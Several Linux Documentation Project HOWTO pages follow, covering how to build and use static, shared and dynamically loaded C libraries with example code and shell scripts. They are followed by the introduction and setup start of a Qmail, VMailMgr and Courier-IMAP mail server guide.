5.3. Shared Libraries Can Be Scripts

It's worth noting that the GNU loader permits shared libraries to be text files using a specialized scripting language instead of the usual library format. This is useful for indirectly combining other libraries. For example, here's the listing of /usr/lib/libc.so on one of my systems:
/* GNU ld script
   Use the shared library, but some functions are only in
   the static library, so try that secondarily.  */
GROUP ( /lib/libc.so.6 /usr/lib/libc_nonshared.a )

For more information about this, see the texinfo documentation on ld linker scripts (ld command language). General information is at info:ld#Options and info:ld#Commands, with likely commands discussed in info:ld#Option Commands.

5.4. GNU libtool

If you're building an application that should port to many systems, you might consider using GNU libtool to build and install libraries. GNU libtool is a generic library support script. Libtool hides the complexity of using shared libraries behind a consistent, portable interface. Libtool provides portable interfaces to create object files, link libraries (static and shared), link executables, debug executables, install libraries, install executables. It also includes libltdl, a portability wrapper for dynamically loading programs. For more information, see its documentation at http://www.gnu.org/software/libtool/manual.html

5.5. Removing symbols for space

All the symbols included in generated files are useful for debugging, but take up space. If you need space, you can eliminate some of it.

The best approach is to first generate the object files normally, and do all your debugging and testing first (debugging and testing is much easier with them). Afterwards, once you've tested the program thoroughly, use strip(1) to remove the symbols. The strip(1) command gives you a good deal of control over what symbols to eliminate; see its documentation for details.

Another approach is to use the GNU ld options ``-S'' and ``-s''; ``-S'' omits debugger symbol information (but not all symbols) from the output file, while ``-s'' omits all symbol information from the output file. You can invoke these options through gcc as ``-Wl,-S'' and ``-Wl,-s''. If you always strip the symbols and these options are sufficient, feel free, but this is a less flexible approach.

5.6. Extremely small executables

You might find the paper Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux useful. It describes how to make a truly tiny program executable. Frankly, you shouldn't use most of these tricks under normal circumstances, but they're quite instructive in showing how ELF really works.

5.7. Speeding up C++ initialization

The KDE developers have noticed that large GUI C++ applications can take a long time to start up, in part due to its needing to do many relocations. There are several solutions to this. See Making C++ ready for the desktop (by Waldo Bastian) for more information.

Prev | Home | Next
Dynamically Loaded (DL) Libraries |  | More Examples


More Examples

Program Library HOWTO
Prev Next

6. More Examples

The following are more examples of all three approaches (static, shared, and dynamically loaded libraries). File libhello.c is a trivial library, with libhello.h as its header. File demo_use.c is a trivial caller of the library. This is followed by commented scripts (script_static and script_dynamic) showing how to use the library as a static and shared library. This is followed by demo_dynamic.c and script_dynamic, which show how to use the shared library as a dynamically loaded library.

6.1. File libhello.c

/* libhello.c - demonstrate library use. */

#include <stdio.h>

void hello(void) {
  printf("Hello, library world.\n");
}

6.2. File libhello.h

/* libhello.h - demonstrate library use. */

void hello(void);

6.3. File demo_use.c

/* demo_use.c -- demonstrate direct use of the "hello" routine */

#include "libhello.h"

int main(void) {
 hello();
 return 0;
}

6.4. File script_static

#!/bin/sh
# Static library demo

# Create static library's object file, libhello-static.o.
# I'm using the name libhello-static to clearly
# differentiate the static library from the
# dynamic library examples, but you don't need to use
# "-static" in the names of your
# object files or static libraries.

gcc -Wall -g -c -o libhello-static.o libhello.c

# Create static library.

ar rcs libhello-static.a libhello-static.o

# At this point we could just copy libhello-static.a
# somewhere else to use it.
# For demo purposes, we'll just keep the library
# in the current directory.

# Compile demo_use program file.

gcc -Wall -g -c demo_use.c -o demo_use.o

# Create demo_use program; -L. causes "." to be searched during
# creation of the program.  Note that this command causes
# the relevant object file in libhello-static.a to be
# incorporated into file demo_use_static.

gcc -g -o demo_use_static demo_use.o -L. -lhello-static

# Execute the program.

./demo_use_static

6.5. File script_shared

#!/bin/sh
# Shared library demo

# Create shared library's object file, libhello.o.

gcc -fPIC -Wall -g -c libhello.c

# Create shared library.
# Use -lc to link it against C library, since libhello
# depends on the C library.

gcc -g -shared -Wl,-soname,libhello.so.0 \
    -o libhello.so.0.0 libhello.o -lc

# At this point we could just copy libhello.so.0.0 into
# some directory, say /usr/local/lib.

# Now we need to call ldconfig to fix up the symbolic links.

# Set up the soname.  We could just execute:
# ln -sf libhello.so.0.0 libhello.so.0
# but let's let ldconfig figure it out.

/sbin/ldconfig -n .

# Set up the linker name.
# In a more sophisticated setting, we'd need to make
# sure that if there was an existing linker name,
# and if so, check if it should stay or not.

ln -sf libhello.so.0 libhello.so

# Compile demo_use program file.

gcc -Wall -g -c demo_use.c -o demo_use.o

# Create program demo_use.
# The -L. causes "." to be searched during creation
# of the program; note that this does NOT mean that "."
# will be searched when the program is executed.

gcc -g -o demo_use demo_use.o -L. -lhello

# Execute the program.  Note that we need to tell the program
# where the shared library is, using LD_LIBRARY_PATH.

LD_LIBRARY_PATH="." ./demo_use

6.6. File demo_dynamic.c

/* demo_dynamic.c -- demonstrate dynamic loading and
   use of the "hello" routine */

/* Need dlfcn.h for the routines to
   dynamically load libraries */
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>

/* Note that we don't have to include "libhello.h".
   However, we do need to specify something related;
   we need to specify a type that will hold the value
   we're going to get from dlsym(). */

/* The type "simple_demo_function" describes a function that
   takes no arguments, and returns no value: */

typedef void (*simple_demo_function)(void);

int main(void) {
 const char *error;
 void *module;
 simple_demo_function demo_function;

 /* Load dynamically loaded library */
 module = dlopen("libhello.so", RTLD_LAZY);
 if (!module) {
   fprintf(stderr, "Couldn't open libhello.so: %s\n",
           dlerror());
   exit(1);
 }

 /* Get symbol */
 dlerror();
 demo_function = dlsym(module, "hello");
 if ((error = dlerror())) {
   fprintf(stderr, "Couldn't find hello: %s\n", error);
   exit(1);
 }

 /* Now call the function in the DL library */
 (*demo_function)();

 /* All done, close things cleanly */
 dlclose(module);
 return 0;
}

6.7. File script_dynamic

#!/bin/sh
# Dynamically loaded library demo

# Presume that libhello.so and friends have
# been created (see dynamic example).

# Compile demo_dynamic program file into an object file.

gcc -Wall -g -c demo_dynamic.c

# Create program demo_use.
# Note that we don't have to tell it where to search for DL libraries,
# since the only special library this program uses won't be
# loaded until after the program starts up.
# However, we DO need the option -ldl to include the library
# that loads the DL libraries.

gcc -g -o demo_dynamic demo_dynamic.o -ldl

# Execute the program.  Note that we need to tell the
# program where get the dynamically loaded library,
# using LD_LIBRARY_PATH.

LD_LIBRARY_PATH="." ./demo_dynamic

Prev | Home | Next
Miscellaneous |  | Other Information Sources


Shared Libraries

Program Library HOWTO
Prev Next

3. Shared Libraries

Shared libraries are libraries that are loaded by programs when they start. When a shared library is installed properly, all programs that start afterwards automatically use the new shared library. It's actually much more flexible and sophisticated than this, because the approach used by Linux permits you to:

  • update libraries and still support programs that want to use older, non-backward-compatible versions of those libraries;

  • override specific libraries or even specific functions in a library when executing a particular program.

  • do all this while programs are running using existing libraries.

3.1. Conventions

For shared libraries to support all of these desired properties, a number of conventions and guidelines must be followed. You need to understand the difference between a library's names, in particular its ``soname'' and ``real name'' (and how they interact). You also need to understand where they should be placed in the filesystem.

3.1.1. Shared Library Names

Every shared library has a special name called the ``soname''. The soname has the prefix ``lib'', the name of the library, the phrase ``.so'', followed by a period and a version number that is incremented whenever the interface changes (as a special exception, the lowest-level C libraries don't start with ``lib''). A fully-qualified soname includes as a prefix the directory it's in; on a working system a fully-qualified soname is simply a symbolic link to the shared library's ``real name''.

Every shared library also has a ``real name'', which is the filename containing the actual library code. The real name adds to the soname a period, a minor number, another period, and the release number. The last period and release number are optional. The minor number and release number support configuration control by letting you know exactly what version(s) of the library are installed. Note that these numbers might not be the same as the numbers used to describe the library in documentation, although that does make things easier.

In addition, there's the name that the compiler uses when requesting a library, (I'll call it the ``linker name''), which is simply the soname without any version number.

The key to managing shared libraries is the separation of these names. Programs, when they internally list the shared libraries they need, should only list the soname they need. Conversely, when you create a shared library, you only create the library with a specific filename (with more detailed version information). When you install a new version of a library, you install it in one of a few special directories and then run the program ldconfig(8). ldconfig examines the existing files and creates the sonames as symbolic links to the real names, as well as setting up the cache file /etc/ld.so.cache (described in a moment).

ldconfig doesn't set up the linker names; typically this is done during library installation, and the linker name is simply created as a symbolic link to the ``latest'' soname or the latest real name. I would recommend having the linker name be a symbolic link to the soname, since in most cases if you update the library you'd like to automatically use it when linking. I asked H. J. Lu why ldconfig doesn't automatically set up the linker names. His explanation was basically that you might want to run code using the latest version of a library, but might instead want development to link against an old (possibly incompatible) library. Therefore, ldconfig makes no assumptions about what you want programs to link to, so installers must specifically modify symbolic links to update what the linker will use for a library.

Thus, /usr/lib/libreadline.so.3 is a fully-qualified soname, which ldconfig would set to be a symbolic link to some realname like /usr/lib/libreadline.so.3.0. There should also be a linker name, /usr/lib/libreadline.so which could be a symbolic link referring to /usr/lib/libreadline.so.3.

3.1.2. Filesystem Placement

Shared libraries must be placed somewhere in the filesystem. Most open source software tends to follow the GNU standards; for more information see the info file documentation at info:standards#Directory_Variables. The GNU standards recommend installing by default all libraries in /usr/local/lib when distributing source code (and all commands should go into /usr/local/bin). They also define the convention for overriding these defaults and for invoking the installation routines.

The Filesystem Hierarchy Standard (FHS) discusses what should go where in a distribution (see http://www.pathname.com/fhs). According to the FHS, most libraries should be installed in /usr/lib, but libraries required for startup should be in /lib and libraries that are not part of the system should be in /usr/local/lib.

There isn't really a conflict between these two documents; the GNU standards recommend the default for developers of source code, while the FHS recommends the default for distributors (who selectively override the source code defaults, usually via the system's package management system). In practice this works nicely: the ``latest'' (possibly buggy!) source code that you download automatically installs itself in the ``local'' directory (/usr/local), and once that code has matured the package managers can trivially override the default to place the code in the standard place for distributions. Note that if your library calls programs that can only be called via libraries, you should place those programs in /usr/local/libexec (which becomes /usr/libexec in a distribution). One complication is that Red Hat-derived systems don't include /usr/local/lib by default in their search for libraries; see the discussion below about /etc/ld.so.conf. Other standard library locations include /usr/X11R6/lib for X-windows. Note that /lib/security is used for PAM modules, but those are usually loaded as DL libraries (also discussed below).

3.2. How Libraries are Used

On GNU glibc-based systems, including all Linux systems, starting up an ELF binary executable automatically causes the program loader to be loaded and run. On Linux systems, this loader is named /lib/ld-linux.so.X (where X is a version number). This loader, in turn, finds and loads all other shared libraries used by the program.

The list of directories to be searched is stored in the file /etc/ld.so.conf. Many Red Hat-derived distributions don't normally include /usr/local/lib in the file /etc/ld.so.conf. I consider this a bug, and adding /usr/local/lib to /etc/ld.so.conf is a common ``fix'' required to run many programs on Red Hat-derived systems.

If you want to just override a few functions in a library, but keep the rest of the library, you can enter the names of overriding libraries (.o files) in /etc/ld.so.preload; these ``preloading'' libraries will take precedence over the standard set. This preloading file is typically used for emergency patches; a distribution usually won't include such a file when delivered.

Searching all of these directories at program start-up would be grossly inefficient, so a caching arrangement is actually used. The program ldconfig(8) by default reads in the file /etc/ld.so.conf, sets up the appropriate symbolic links in the dynamic link directories (so they'll follow the standard conventions), and then writes a cache to /etc/ld.so.cache that's then used by other programs. This greatly speeds up access to libraries. The implication is that ldconfig must be run whenever a DLL is added, when a DLL is removed, or when the set of DLL directories changes; running ldconfig is often one of the steps performed by package managers when installing a library. On start-up, then, the dynamic loader actually uses the file /etc/ld.so.cache and then loads the libraries it needs.

By the way, FreeBSD uses slightly different filenames for this cache. In FreeBSD, the ELF cache is /var/run/ld-elf.so.hints and the a.out cache is /var/run/ld.so.hints. These are still updated by ldconfig(8), so this difference in location should only matter in a few exotic situations.

3.3. Environment Variables

Various environment variables can control this process, and there are environment variables that permit you to override this process.

3.3.1. LD_LIBRARY_PATH

You can temporarily substitute a different library for this particular execution. In Linux, the environment variable LD_LIBRARY_PATH is a colon-separated set of directories where libraries should be searched for first, before the standard set of directories; this is useful when debugging a new library or using a nonstandard library for special purposes. The environment variable LD_PRELOAD lists shared libraries with functions that override the standard set, just as /etc/ld.so.preload does. These are implemented by the loader /lib/ld-linux.so. I should note that, while LD_LIBRARY_PATH works on many Unix-like systems, it doesn't work on all; for example, this functionality is available on HP-UX but as the environment variable SHLIB_PATH, and on AIX this functionality is through the variable LIBPATH (with the same syntax, a colon-separated list).

LD_LIBRARY_PATH is handy for development and testing, but shouldn't be modified by an installation process for normal use by normal users; see ``Why LD_LIBRARY_PATH is Bad'' at http://www.visi.com/~barr/ldpath.html for an explanation of why. But it's still useful for development or testing, and for working around problems that can't be worked around otherwise. If you don't want to set the LD_LIBRARY_PATH environment variable, on Linux you can even invoke the program loader directly and pass it arguments. For example, the following will use the given PATH instead of the content of the environment variable LD_LIBRARY_PATH, and run the given executable:
  /lib/ld-linux.so.2 --library-path PATH EXECUTABLE
Just executing ld-linux.so without arguments will give you more help on using this, but again, don't use this for normal use - these are all intended for debugging.

3.3.2. LD_DEBUG

Another useful environment variable in the GNU C loader is LD_DEBUG. This triggers the dl* functions so that they give quite verbose information on what they are doing. For example:
  export LD_DEBUG=files
  command_to_run
displays the processing of files and libraries when handling libraries, telling you what dependencies are detected and which SOs are loaded in what order. Setting LD_DEBUG to ``bindings'' displays information about symbol binding, setting it to ``libs'' displays the library search paths, and setting ti to ``versions'' displays the version depdendencies.

Setting LD_DEBUG to ``help'' and then trying to run a program will list the possible options. Again, LD_DEBUG isn't intended for normal use, but it can be handy when debugging and testing.

3.3.3. Other Environment Variables

There are actually a number of other environment variables that control the loading process; their names begin with LD_ or RTLD_. Most of the others are for low-level debugging of the loader process or for implementing specialized capabilities. Most of them aren't well-documented; if you need to know about them, the best way to learn about them is to read the source code of the loader (part of gcc).

Permitting user control over dynamically linked libraries would be disastrous for setuid/setgid programs if special measures weren't taken. Therefore, in the GNU loader (which loads the rest of the program on program start-up), if the program is setuid or setgid these variables (and other similar variables) are ignored or greatly limited in what they can do. The loader determines if a program is setuid or setgid by checking the program's credentials; if the uid and euid differ, or the gid and the egid differ, the loader presumes the program is setuid/setgid (or descended from one) and therefore greatly limits its abilities to control linking. If you read the GNU glibc library source code, you can see this; see especially the files elf/rtld.c and sysdeps/generic/dl-sysdep.c. This means that if you cause the uid and gid to equal the euid and egid, and then call a program, these variables will have full effect. Other Unix-like systems handle the situation differently but for the same reason: a setuid/setgid program should not be unduly affected by the environment variables set.

3.4. Creating a Shared Library

Creating a shared library is easy. First, create the object files that will go into the shared library using the gcc -fPIC or -fpic flag. The -fPIC and -fpic options enable ``position independent code'' generation, a requirement for shared libraries; see below for the differences. Then create the shared library using this format:

gcc -shared -Wl,-soname,your_soname \
    -o library_name file_list library_list

Here's an example, which creates two object files (a.o and b.o) and then creates a shared library that contains both of them. Note that this compilation includes debugging information (-g) and will generate warnings (-Wall), which aren't required for shared libraries but are recommended. The compilation generates object files (using -c), and includes the required -fPIC option:

gcc -fPIC -g -c -Wall a.c
gcc -fPIC -g -c -Wall b.c
gcc -shared -Wl,-soname,libmystuff.so.1 \
    -o libmystuff.so.1.0.1 a.o b.o -lc

Here are a few points worth noting:

  • Don't strip the resulting library, and don't use the compiler option -fomit-frame-pointer unless you really have to. The resulting library will work, but these actions make debuggers mostly useless.

  • Use -fPIC or -fpic to generate code. Whether to use -fPIC or -fpic to generate code is target-dependent. The -fPIC choice always works, but may produce larger code than -fpic (mnenomic to remember this is that PIC is in a larger case, so it may produce larger amounts of code). Using -fpic option usually generates smaller and faster code, but will have platform-dependent limitations, such as the number of globally visible symbols or the size of the code. The linker will tell you whether it fits when you create the shared library. When in doubt, I choose -fPIC, because it always works.

  • In some cases, the call to gcc to create the object file will also need to include the option ``-Wl,-export-dynamic''. Normally, the dynamic symbol table contains only symbols which are used by a dynamic object. This option (when creating an ELF file) adds all symbols to the dynamic symbol table (see ld(1) for more information). You need to use this option when there are 'reverse dependencies', i.e., a DL library has unresolved symbols that by convention must be defined in the programs that intend to load these libraries. For ``reverse dependencies'' to work, the master program must make its symbols dynamically available. Note that you could say ``-rdynamic'' instead of ``-Wl,export-dynamic'' if you only work with Linux systems, but according to the ELF documentation the ``-rdynamic'' flag doesn't always work for gcc on non-Linux systems.

During development, there's the potential problem of modifying a library that's also used by many other programs -- and you don't want the other programs to use the ``developmental''library, only a particular application that you're testing against it. One link option you might use is ld's ``rpath'' option, which specifies the runtime library search path of that particular program being compiled. From gcc, you can invoke the rpath option by specifying it this way:
 -Wl,-rpath,$(DEFAULT_LIB_INSTALL_PATH)
If you use this option when building the library client program, you don't need to bother with LD_LIBRARY_PATH (described next) other than to ensure it's not conflicting, or using other techniques to hide the library.

3.5. Installing and Using a Shared Library

Once you've created a shared library, you'll want to install it. The simple approach is simply to copy the library into one of the standard directories (e.g., /usr/lib) and run ldconfig(8).

First, you'll need to create the shared libraries somewhere. Then, you'll need to set up the necessary symbolic links, in particular a link from a soname to the real name (as well as from a versionless soname, that is, a soname that ends in ``.so'' for users who don't specify a version at all). The simplest approach is to run:
 ldconfig -n directory_with_shared_libraries

Finally, when you compile your programs, you'll need to tell the linker about any static and shared libraries that you're using. Use the -l and -L options for this.

If you can't or don't want to install a library in a standard place (e.g., you don't have the right to modify /usr/lib), then you'll need to change your approach. In that case, you'll need to install it somewhere, and then give your program enough information so the program can find the library... and there are several ways to do that. You can use gcc's -L flag in simple cases. You can use the ``rpath'' approach (described above), particularly if you only have a specific program to use the library being placed in a ``non-standard'' place. You can also use environment variables to control things. In particular, you can set LD_LIBRARY_PATH, which is a colon-separated list of directories in which to search for shared libraries before the usual places. If you're using bash, you could invoke my_program this way using:

LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH  my_program

If you want to override just a few selected functions, you can do this by creating an overriding object file and setting LD_PRELOAD; the functions in this object file will override just those functions (leaving others as they were).

Usually you can update libraries without concern; if there was an API change, the library creator is supposed to change the soname. That way, multiple libraries can be on a single system, and the right one is selected for each program. However, if a program breaks on an update to a library that kept the same soname, you can force it to use the older library version by copying the old library back somewhere, renaming the program (say to the old name plus ``.orig''), and then create a small ``wrapper'' script that resets the library to use and calls the real (renamed) program. You could place the old library in its own special area, if you like, though the numbering conventions do permit multiple versions to live in the same directory. The wrapper script could look something like this:
  #!/bin/sh
  export LD_LIBRARY_PATH=/usr/local/my_lib:$LD_LIBRARY_PATH
  exec /usr/bin/my_program.orig $*
Please don't depend on this when you write your own programs; try to make sure that your libraries are either backwards-compatible or that you've incremented the version number in the soname every time you make an incompatible change. This is just an ``emergency'' approach to deal with worst-case problems.

You can see the list of the shared libraries used by a program using ldd(1). So, for example, you can see the shared libraries used by ls by typing:
  ldd /bin/ls
Generally you'll see a list of the sonames being depended on, along with the directory that those names resolve to. In practically all cases you'll have at least two dependencies:

  • /lib/ld-linux.so.N (where N is 1 or more, usually at least 2). This is the library that loads all other libraries.

  • libc.so.N (where N is 6 or more). This is the C library. Even other languages tend to use the C library (at least to implement their own libraries), so most programs at least include this one.

Beware: do not run ldd on a program you don't trust. As is clearly stated in the ldd(1) manual, ldd works by (in certain cases) by setting a special environment variable (for ELF objects, LD_TRACE_LOADED_OBJECTS) and then executing the program. It may be possible for an untrusted program to force the ldd user to run arbitrary code (instead of simply showing the ldd information). So, for safety's sake, don't use ldd on programs you don't trust to execute.

3.6. Incompatible Libraries

When a new version of a library is binary-incompatible with the old one the soname needs to change. In C, there are four basic reasons that a library would cease to be binary compatible:

  1. The behavior of a function changes so that it no longer meets its original specification,

  2. Exported data items change (exception: adding optional items to the ends of structures is okay, as long as those structures are only allocated within the library).

  3. An exported function is removed.

  4. The interface of an exported function changes.

If you can avoid these reasons, you can keep your libraries binary-compatible. Said another way, you can keep your Application Binary Interface (ABI) compatible if you avoid such changes. For example, you might want to add new functions but not delete the old ones. You can add items to structures but only if you can make sure that old programs won't be sensitive to such changes by adding items only to the end of the structure, only allowing the library (and not the application) to allocate the structure, making the extra items optional (or having the library fill them in), and so on. Watch out - you probably can't expand structures if users are using them in arrays.

For C++ (and other languages supporting compiled-in templates and/or compiled dispatched methods), the situation is trickier. All of the above issues apply, plus many more issues. The reason is that some information is implemented ``under the covers'' in the compiled code, resulting in dependencies that may not be obvious if you don't know how C++ is typically implemented. Strictly speaking, they aren't ``new'' issues, it's just that compiled C++ code invokes them in ways that may be surprising to you. The following is a (probably incomplete) list of things that you cannot do in C++ and retain binary compatibility, as reported by Troll Tech's Technical FAQ:

  1. add reimplementations of virtual functions (unless it it safe for older binaries to call the original implementation), because the compiler evaluates SuperClass::virtualFunction() calls at compile-time (not link-time).

  2. add or remove virtual member functions, because this would change the size and layout of the vtbl of every subclass.

  3. change the type of any data members or move any data members that can be accessed via inline member functions.

  4. change the class hierarchy, except to add new leaves.

  5. add or remove private data members, because this would change the size and layout of every subclass.

  6. remove public or protected member functions unless they are inline.

  7. make a public or protected member function inline.

  8. change what an inline function does, unless the old version continues working.

  9. change the access rights (i.e. public, protected or private) of a member function in a portable program, because some compilers mangle the access rights into the function name.

Given this lengthy list, developers of C++ libraries in particular must plan for more than occasional updates that break binary compatibility. Fortunately, on Unix-like systems (including Linux) you can have multiple versions of a library loaded at the same time, so while there is some disk space loss, users can still run ``old'' programs needing old libraries.

Prev | Home | Next
Static Libraries |  | Dynamically Loaded (DL) Libraries


Static Libraries

Program Library HOWTO
Prev Next

2. Static Libraries

Static libraries are simply a collection of ordinary object files; conventionally, static libraries end with the ``.a'' suffix. This collection is created using the ar (archiver) program. Static libraries aren't used as often as they once were, because of the advantages of shared libraries (described below). Still, they're sometimes created, they existed first historically, and they're simpler to explain.

Static libraries permit users to link to programs without having to recompile its code, saving recompilation time. Note that recompilation time is less important given today's faster compilers, so this reason is not as strong as it once was. Static libraries are often useful for developers if they wish to permit programmers to link to their library, but don't want to give the library source code (which is an advantage to the library vendor, but obviously not an advantage to the programmer trying to use the library). In theory, code in static ELF libraries that is linked into an executable should run slightly faster (by 1-5%) than a shared library or a dynamically loaded library, but in practice this rarely seems to be the case due to other confounding factors.

To create a static library, or to add additional object files to an existing static library, use a command like this:

ar rcs my_library.a file1.o file2.o

This sample command adds the object files file1.o and file2.o to the static library my_library.a, creating my_library.a if it doesn't already exist. For more information on creating static libraries, see ar(1).

Once you've created a static library, you'll want to use it. You can use a static library by invoking it as part of the compilation and linking process when creating a program executable. If you're using gcc(1) to generate your executable, you can use the -l option to specify the library; see info:gcc for more information. You can also use the linker ld(1) directly, using its -l and -L options; however, in most cases it's better to use gcc(1) since the interface of ld(1) is more likely to change.

Prev | Home | Next
Introduction |  | Shared Libraries


Qmail VMailMgr and Courier-Imap HOWTO

Dan Kuykendall <dan@kuykendall.org>

v1.5, 12 March 2002

This document is about building a mail server that will support virtual domain hosting and provide smtp, pop3 and imap services, using a powerful alternative to sendmail.

Table of Contents
1. Introduction
1.1. What is Qmail and why should I use it?
1.2. What is VMailMgr and why should I use it?
1.3. What is Courier-imap and why should I use it?
1.4. Description of the components
1.5. Working configurations
1.6. History
1.7. New versions
1.8. Comments
1.9. Version History
1.10. Copyrights and Trademarks
1.11. Acknowledgements and Thanks
2. Component installation
2.1. Preparations
2.2. Install support packages
2.3. Install Qmail
2.4. Install Courier-imap
2.5. Install VMailMgr
3. Putting it all together
3.1. Basic Qmail config
3.2. Tell Qmail to use VMailMgr for authentication
3.3. Setup Courier-imap for VMailMgr
3.4. Setup virtual domain with VMailMgr
3.5. Starting the daemons
3.6. Some considerations left
3.7. Mail clients
3.8. Known bugs
3.9. The final word
Next
Introduction


Introduction

Qmail VMailMgr and Courier-Imap HOWTO
Prev Next

1. Introduction

Qmail, VMailMgr and Courier-IMAP are a very powerful and easy to use solution, but they are not what I would consider easy to setup. I hope this document helps with that.

1.1. What is Qmail and why should I use it?

Here is the authors (Dan Bernstein) blurb:

Qmail is a secure, reliable, efficient, simple message transfer agent. It is meant as a replacement for the entire sendmail-binmail system on typical Internet-connected UNIX hosts.

It offers POP3, and IMAP (with the help of Courier-IMAP) so that you can use any mail client you prefer.

Secure: Security isn't just a goal, but an absolute requirement. Mail delivery is critical for users; it cannot be turned off, so it must be completely secure. (This is why I started writing qmail: I was sick of the security holes in sendmail and other MTAs.)

Reliable: qmail's straight-paper-path philosophy guarantees that a message, once accepted into the system, will never be lost. qmail also supports maildir, a new, super-reliable user mailbox format. Maildirs, unlike mbox files and mh folders, won't be corrupted if the system crashes during delivery. Even better, not only can a user safely read his mail over NFS, but any number of NFS clients can deliver mail to him at the same time.

Efficient: On a Pentium under BSD/OS, qmail can easily sustain 200000 local messages per day---that's separate messages injected and delivered to mailboxes in a real test! Although remote deliveries are inherently limited by the slowness of DNS and SMTP, qmail overlaps 20 simultaneous deliveries by default, so it zooms quickly through mailing lists. (This is why I finished qmail: I had to get a big mailing list set up.)

Simple: qmail is vastly smaller than any other Internet MTA. Some reasons why: (1) Other MTAs have separate forwarding, aliasing, and mailing list mechanisms. qmail has one simple forwarding mechanism that lets users handle their own mailing lists. (2) Other MTAs offer a spectrum of delivery modes, from fast+unsafe to slow+queued. qmail- send is instantly triggered by new items in the queue, so the qmail system has just one delivery mode: fast+queued. (3) Other MTAs include, in effect, a specialized version of inetd that watches the load average. qmail's design inherently limits the machine load, so qmail-smtpd can safely run from your system's inetd.

Replacement for sendmail: qmail supports host and user masquerading, full host hiding, virtual domains, null clients, list-owner rewriting, relay control, double-bounce recording, arbitrary RFC 822 address lists, cross-host mailing list loop detection, per-recipient checkpointing, downed host backoffs, independent message retry schedules, etc. In short, it's up to speed on modern MTA features. qmail also includes a drop-in ``sendmail'' wrapper so that it will be used transparently by your current UAs.

1.2. What is VMailMgr and why should I use it?

VMailMgr is:

A password checking interface between qmail-popup and qmail-pop3d which replaces the usual checkpassword, as well as an authentication module for Courier IMAP, that provide access to the virtual mailboxes by one of three methods:

  • IP-based virtual server access (invisible to the POP3 user)

  • username-based access (username-virtualuser)

  • hostname-based access (virtualuser@virtual.host or virtualuser:virtual.host)

You should use it if:

You prefer to have the users manage their own domains email accounts, and store their email in their own home dir. (This makes setting up disk space quotas much easier)

1.3. What is Courier-imap and why should I use it?

Courier-IMAP is:

A server that provides IMAP access to Maildir mailboxes. This IMAP server does NOT handle traditional mailbox files (/var/spool/mail, and derivatives), it was written for the specific purpose of providing IMAP access to Maildirs.

You should use it because:

By default Qmail uses the newer more efficient Maildir format for storing email, and Courier-imap is the only imap server I am aware of that supports Maildir. So in short, if you use Qmail, and want imap support, you have to use it.

1.4. Description of the components

The email system you hopefully will get after having read this HOWTO is composed of several parts, the patched Qmail rpms are key to using this document. I recommend using the software versions I tried, they will probably compile without many problems and result in a fairly stable daemon. If you are courageous, you can try to compile all the latest-stuff-with-tons-of-new-features, but don't blame me if something fails ;-). However, you may report other working configurations to be included in future versions of this document. All of the steps were tested on a RedHat Linux 7.2 box, so the HOWTO is somewhat specific, but you should be able to use it for other linux distributions as well.

You do not necessarily have to install in all components. I tried to structure this HOWTO so that you can skip the parts you are not interested in.

The document is neither a user manual to Qmail, VMailMgr nor Courier-imap. Its prime intention is to save email admins some headaches when installing their server and to do my little contribution to the linux community.

1.5. Working configurations

Though this document is only able to cover a snapshot in time on a limited number of setups, I am pretty confident that it can help you get your email system up and running. Combinations that work for me are:

  • RedHat 7.2, Qmail 1.03+patches-18, VMailMgr 0.96.9, Courier-imap 1.4.3

  • RedHat 6.2, Linux 2.2.14, Qmail 1.03+patches-12, VMailMgr 0.96.6, Courier-imap 0.31

  • Mandrake 7.0, Linux 2.2.13, Qmail 1.03+patches-12, VMailMgr 0.96.6, Courier-imap 0.31

  • Debian Potato, Qmail 1.03, VMailMgr 0.96.9, Courier-imap 1.4.3

1.6. History

This document was started on April 18, 2000 by Dan Kuykendall after several installs of Qmail and VMailMgr. Then even more setups when Courier-imap support was ready.

1.7. New versions

The newest version of this can be found on my homepage http://www.clearrivertech.com/linux/HOWTO as SGML source, as HTML and as TEXT. Other versions may be found in different formats at the LDP homepage http://www.linuxdoc.org/.

1.8. Comments

Comments on this HOWTO may be directed to the author Dan Kuykendall (dan@kuykendall.org).

1.9. Version History

v0.1 (April 18, 2000)

  • Preview version, wasn't in HOWTO format.

v1.0 (April 18, 2000)

  • Minor corrections.

  • Added details and put into HOWTO format.

v1.1 (April 19, 2000)

  • Minor corrections.

  • Restructured RPM install step.

  • Added source compile and install steps.

v1.2 (April 19, 2000)

  • Minor corrections.

  • Fixed source compile locations and install steps.

  • Added source compile and install steps.

v1.3 (April 19, 2000)

  • Minor corrections.

  • Built proper SGML version (using LinuxDoc DTD).

v1.4 (April 23, 2000)

  • Updated the Courier-IMAP setup information for new VMailMgr version.

  • Switched the license to the GNU FDL.

  • Other minor additions and corrections.

v1.5 (March 11, 2002)

  • Updated the Courier-IMAP setup information for new VMailMgr version.

  • Updated links to various websites.

  • Other minor additions and corrections.

  • Switched SGML from LinuxDOC to DocBook.

1.10. Copyrights and Trademarks

Copyright (c) Dan Kuykendall. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation

A copy of the license is available at GNU Free Documentation License.

1.11. Acknowledgements and Thanks

Thanks to everyone that gave comments as I was writing this. This includes Bruce Guenter and other members of the vmailmgr-discuss list.

Prev | Home | Next
Qmail VMailMgr and Courier-Imap HOWTO |  | Component installation


Component installation

Qmail VMailMgr and Courier-Imap HOWTO
Prev Next

2. Component installation

2.1. Preparations

You have two options

  • Get and compile source rpms. This has the benefit of being able to review the source before compiling, and compiling for your specific setup.

  • Or simply get the binary rpms. This has the benefit of simplicity, and not having to worry about having the necessary libraries installed.

I recommend using Bruce Guenter's rpm releases, since they are well patched, and its what I used for building my systems.

2.1.1. Get source rpms

You will need:

  • ucspi-tcp-0.88-1.src.rpm - http://untroubled.org/rpms/ucspi-tcp/

  • ucspi-unix-0.34-1.src.rpm - http://untroubled.org/ucspi-unix/

  • daemontools-0.70-3.src.rpm - http://untroubled.org/rpms/daemontools/

  • supervise-scripts-3.3-1.src.rpm - http://untroubled.org/supervise-scripts/

  • qmail-1.03+patches-18.src.rpm - http://untroubled.org/qmail+patches/current/

  • vmailmgr-0.96.9-1.src.rpm - http://www.vmailmgr.org/current/

  • courier-imap-1.4.3.tar.gz - http://www.inter7.com/courierimap/

For Courier-imap you must build the source rpm from the tar file (instructions will follow).

2.1.2. Get binary rpms

Qmail does not come in binary form. Such packages are explicitly disallowed by the author of Qmail, and frustrating as it may be, I understand his reasoning.

